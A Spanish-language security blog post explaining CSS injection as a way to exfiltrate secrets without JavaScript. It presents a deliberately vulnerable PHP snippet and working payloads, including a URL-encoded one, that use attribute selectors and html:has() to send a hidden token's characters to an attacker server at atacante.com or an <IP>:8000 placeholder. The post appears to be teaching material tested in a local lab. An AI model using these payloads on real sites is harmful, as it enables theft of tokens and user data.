12 de diciembre de 2025
驴Es posible exfiltrar datos sensibles sin ejecutar una sola l铆nea de c贸digo? Mientras la industria concentra sus esfuerzos en mitigar el XSS, la Inyecci贸n CSS opera como un vector silencioso. A continuaci贸n, analizamos c贸mo esta vulnerabilidad convierte las hojas de estilo en mecanismos de extracci贸n de informaci贸n, capaces de evadir los controles de seguridad habituales.
El CSS, cuyo prop贸sito principal es dar estilo a los documentos, se ha convertido en un lenguaje sorprendentemente potente. Cuando un atacante logra inyectar c贸digo CSS arbitrario en una p谩gina, puede aprovechar dos caracter铆sticas clave del lenguaje:
value, data-id, o name) contienen, comienzan o terminan con una cadena espec铆fica.url()): Propiedades como background-image, list-style-image, o @font-face obligan al navegador a realizar una solicitud HTTP a una URL definida.La combinaci贸n de estas dos caracter铆sticas permite un ataque de b煤squeda por fuerza bruta ciega: el atacante deduce el contenido de un campo sensible car谩cter por car谩cter.
Para que el ataque funcione, el atacante despliega un servidor web al cual le llegan peticiones del cliente. El proceso es el siguiente:
<input value="t0k3n_secreto">).input[value^="a"] { background-image: url("https://atacante.com/log?c=a"); }/log?c=a.input[value^="b"], input[value^="c"], etc., hasta que el log de su servidor muestra la primera solicitud exitosa.input[value^="t0"], input[value^="t1"], y as铆 sucesivamente, hasta exfiltrar el string completo.El objetivo de esta PoC es ilustrar c贸mo exfiltrar un token oculto (s3cret-token) manipulando un punto de inyecci贸n CSS mal sanitizado.
En este escenario, el servidor recibe el par谩metro font_url v铆a GET y lo refleja directamente dentro de una regla @font-face.
<style>
@font-face {
src: url('<?php echo $_GET['font_url']; ?>'); /*La vulnerabilidad se produce aqu铆 */
}
</style>
<input type="hidden" id="secret" value="s3cret-token" />
Antes de inyectar nuestro propio c贸digo CSS, debemos asegurarnos de cerrar el contexto de la regla @font-face sin romper la sintaxis. Para ello, conviene terminar la propiedad src con un descriptor de formato v谩lido y cerrar el bloque.
Dado que el script PHP imprime nuestro input ($_GET['font_url']) dentro de una funci贸n url() que ya est谩 abierta, nuestro payload debe encargarse de "cerrar" esa estructura que el servidor inici贸. Al enviar '), cerramos la URL, y al a帽adir format('woff'), completamos la propiedad para que sea v谩lida.
@font-face {
src: format('woff');
}
Un enfoque ingenuo ser铆a intentar aplicar un estilo con imagen de fondo directamente sobre el input.
input[id="secret"][value^="s"] {
background-image: url('http://<IP>/?char=s');
}
Sin embargo, esto no funcionar谩. Los navegadores modernos optimizan el renderizado: si un elemento es type="hidden" o tiene display: none, el navegador no intenta pintar su fondo y, por tanto, nunca realiza la petici贸n HTTP necesaria para la exfiltraci贸n.
No obstante, este ser铆a el payload para probar:
') format('woff'); } input[id="secret"][value^="s"] { background: url('http://<IP>:8000/?char=s'); } /*
Para evadir esta limitaci贸n, utilizamos la pseudo-clase :has(). En lugar de aplicar el estilo al input oculto, aplicamos el estilo al elemento html (que siempre es visible) condicionado a la existencia del input con el valor deseado.
El payload debe realizar dos acciones:
El payload quedar铆a de la siguiente manera:
') format('woff'); } html:has(input[id="secret"][value^="s"]) { background: url('http://<IP>:8000/?char=s'); } /*
Dicho payload se introduce en formato URL encode dentro del navegador:
http://localhost/?font_url=%27%29%20format%28%27woff%27%29%3B%20%7D%20html%3Ahas%28input%5Bid%3D%22secret%22%5D%5Bvalue%5E%3D%22s%22%5D%29%20%7B%20background%3A%20url%28%27http%3A%2F%2Flocalhost%3A8000%2F%3Fchar%3Ds%27%29%3B%20%7D%20%2F%2A
En mi caso, desplegu茅 el PHP en local por el puerto y el servidor de atacante en el 8000.

Y recibimos el siguiente resultado:

La extracci贸n manual car谩cter por car谩cter es inviable para tokens largos, ya que requerir铆a generar archivos CSS gigantescos con todas las combinaciones posibles. En la pr贸xima entrega, presentar茅 una herramienta desarrollada para automatizar este proceso mediante un servidor que genera las reglas CSS bajo demanda.